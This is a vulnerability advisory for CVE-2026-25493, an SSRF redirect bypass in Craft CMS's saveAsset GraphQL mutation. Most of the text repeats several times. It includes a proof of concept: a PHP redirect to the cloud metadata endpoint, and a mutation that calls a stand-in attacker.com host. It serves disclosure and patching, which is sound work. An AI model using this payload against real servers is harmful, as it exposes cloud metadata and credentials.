CVE-2026-25493

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.

Summary

The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

Proof of Concept

1. Host a redirect script on your server (e.g. redirect.php):

<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>

2. Send the following GraphQL mutation:

mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}

3. The application validates attacker.com (passes)
4. Guzzle follows the redirect to 169.254.169.254
5. Cloud metadata is saved as an asset

Mitigation

• Disable redirects.

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.

Summary

The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

Proof of Concept

1. Host a redirect script on your server (e.g. redirect.php):

<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>

2. Send the following GraphQL mutation:

mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}

3. The application validates attacker.com (passes)
4. Guzzle follows the redirect to 169.254.169.254
5. Cloud metadata is saved as an asset

Mitigation

• Disable redirects.

TuxCare rebuilt craftcms/cms to address 10 CVEs. Fixed in 3.9.15-p1+tuxcare.